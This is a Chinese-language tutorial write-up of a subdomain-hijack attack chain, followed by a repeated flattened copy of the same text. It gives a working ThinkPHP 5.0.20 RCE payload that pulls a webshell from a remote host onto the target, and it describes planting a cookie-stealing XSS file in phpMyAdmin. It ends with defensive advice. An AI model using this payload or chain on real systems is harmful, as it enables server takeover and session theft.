一次成功的子域名劫持
字数 1567 2025-08-27 12:33:49

子域名劫持与利用实战教学文档

1. 前言

子域名劫持(Domain Hijacking)是一种常见的安全漏洞,当组织遗弃某个子域名但未及时删除DNS记录时,攻击者可以注册该子域名指向的云服务,从而控制该子域名的内容。本教学文档将详细讲解如何发现、验证和利用子域名劫持漏洞。

2. 子域名劫持发现流程

2.1 子域名枚举

使用工具进行子域名挖掘:

  • 推荐工具:farmscan_domain、Sublist3r、Amass、subfinder
  • 命令示例:farmscan_domain x.com

2.2 识别潜在劫持目标

检查子域名时注意以下特征:

  • 返回"未找到站点"、"404 Not Found"等错误页面
  • 显示云服务默认页面(如腾讯云、阿里云等)
  • 使用nslookup检查DNS记录是否指向第三方云服务

3. 信息收集阶段

3.1 基础信息收集

  1. IP反查

    • 使用dignslookup查询子域名解析的IP
    • 检查IP归属:whois <IP>或使用在线工具
  2. 端口扫描

    • 使用nmap进行扫描:nmap -sV -p- <IP>
    • 重点关注常见Web端口:80, 443, 8080, 8888等

3.2 Web服务探测

  1. 直接访问IP地址,查看返回内容
  2. 检查非常规端口(如888, 8888等)的Web服务
  3. 尝试常见管理后台路径:
    • /Admin/login/index.html
    • /admin/
    • /wp-admin/

4. 漏洞利用阶段

4.1 发现ThinkPHP RCE漏洞

  1. 识别ThinkPHP框架

    • 通过报错信息识别版本:ThinkPHP V5.0.20
    • 检查URL特征:index.php?s=
  2. 利用ThinkPHP 5.0.20 RCE

    • 漏洞原理:通过_method参数实现方法调用控制
    • 利用Payload:
      http://xxxx/index.php?s=captcha
      POST数据:
      _method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=lego&lego=copy("http://xxx/lego.txt","test.php")
      
    • 解释:通过构造恶意参数实现任意文件写入

4.2 获取Webshell

  1. 准备一个PHP Webshell文件(如lego.txt)
  2. 使用上述漏洞将远程文件写入目标服务器
  3. 使用蚁剑等工具连接Webshell

5. 横向移动与利用

5.1 环境分析

  1. 发现服务器运行宝塔面板(端口8888)
  2. 发现phpMyAdmin服务(端口888)
  3. 检查当前Webshell权限

5.2 利用phpMyAdmin

  1. 查找phpMyAdmin安装路径:

    • 常见路径:/www/server/phpmyadmin_xxxxxxxxx/
    • 通过Webshell查找配置文件
  2. 创建恶意HTML文件:

    • 在phpMyAdmin目录下创建XSS文件
    • 示例:test.html包含窃取Cookie的JavaScript代码
  3. 访问触发:

    • 通过子域名:888/phpmyadmin_xxxxxxxxx/test.html访问
    • 浏览器会自动携带主域Cookie

6. 防御建议

6.1 预防子域名劫持

  1. 定期审计DNS记录和子域名
  2. 弃用子域名时及时删除DNS记录
  3. 使用DNS监控服务检测劫持行为

6.2 服务器安全加固

  1. 及时更新框架和组件(如ThinkPHP)
  2. 限制管理面板(宝塔、phpMyAdmin)的访问IP
  3. 使用Web应用防火墙(WAF)防护常见攻击

6.3 安全开发实践

  1. 禁用框架的调试模式
  2. 限制危险函数的使用(如assert、system等)
  3. 实施最小权限原则

7. 总结

本案例展示了从子域名劫持到RCE漏洞利用的完整攻击链,关键点包括:

  1. 通过子域名枚举发现可劫持目标
  2. 全面的信息收集发现服务细节
  3. 利用ThinkPHP RCE漏洞获取初始立足点
  4. 通过环境分析找到phpMyAdmin实现横向移动
  5. 最终实现Cookie窃取的攻击目标

防御方应建立完善的资产管理系统,及时更新组件,并实施纵深防御策略。

子域名劫持与利用实战教学文档 1. 前言 子域名劫持(Domain Hijacking)是一种常见的安全漏洞,当组织遗弃某个子域名但未及时删除DNS记录时,攻击者可以注册该子域名指向的云服务,从而控制该子域名的内容。本教学文档将详细讲解如何发现、验证和利用子域名劫持漏洞。 2. 子域名劫持发现流程 2.1 子域名枚举 使用工具进行子域名挖掘: 推荐工具:farmscan_ domain、Sublist3r、Amass、subfinder 命令示例: farmscan_domain x.com 2.2 识别潜在劫持目标 检查子域名时注意以下特征: 返回"未找到站点"、"404 Not Found"等错误页面 显示云服务默认页面(如腾讯云、阿里云等) 使用nslookup检查DNS记录是否指向第三方云服务 3. 信息收集阶段 3.1 基础信息收集 IP反查 : 使用 dig 或 nslookup 查询子域名解析的IP 检查IP归属: whois <IP> 或使用在线工具 端口扫描 : 使用nmap进行扫描: nmap -sV -p- <IP> 重点关注常见Web端口:80, 443, 8080, 8888等 3.2 Web服务探测 直接访问IP地址,查看返回内容 检查非常规端口(如888, 8888等)的Web服务 尝试常见管理后台路径: /Admin/login/index.html /admin/ /wp-admin/ 等 4. 漏洞利用阶段 4.1 发现ThinkPHP RCE漏洞 识别ThinkPHP框架 : 通过报错信息识别版本: ThinkPHP V5.0.20 检查URL特征: index.php?s= 利用ThinkPHP 5.0.20 RCE : 漏洞原理:通过 _method 参数实现方法调用控制 利用Payload: 解释:通过构造恶意参数实现任意文件写入 4.2 获取Webshell 准备一个PHP Webshell文件(如lego.txt) 使用上述漏洞将远程文件写入目标服务器 使用蚁剑等工具连接Webshell 5. 横向移动与利用 5.1 环境分析 发现服务器运行宝塔面板(端口8888) 发现phpMyAdmin服务(端口888) 检查当前Webshell权限 5.2 利用phpMyAdmin 查找phpMyAdmin安装路径: 常见路径: /www/server/phpmyadmin_xxxxxxxxx/ 通过Webshell查找配置文件 创建恶意HTML文件: 在phpMyAdmin目录下创建XSS文件 示例: test.html 包含窃取Cookie的JavaScript代码 访问触发: 通过 子域名:888/phpmyadmin_xxxxxxxxx/test.html 访问 浏览器会自动携带主域Cookie 6. 防御建议 6.1 预防子域名劫持 定期审计DNS记录和子域名 弃用子域名时及时删除DNS记录 使用DNS监控服务检测劫持行为 6.2 服务器安全加固 及时更新框架和组件(如ThinkPHP) 限制管理面板(宝塔、phpMyAdmin)的访问IP 使用Web应用防火墙(WAF)防护常见攻击 6.3 安全开发实践 禁用框架的调试模式 限制危险函数的使用(如assert、system等) 实施最小权限原则 7. 总结 本案例展示了从子域名劫持到RCE漏洞利用的完整攻击链,关键点包括: 通过子域名枚举发现可劫持目标 全面的信息收集发现服务细节 利用ThinkPHP RCE漏洞获取初始立足点 通过环境分析找到phpMyAdmin实现横向移动 最终实现Cookie窃取的攻击目标 防御方应建立完善的资产管理系统,及时更新组件,并实施纵深防御策略。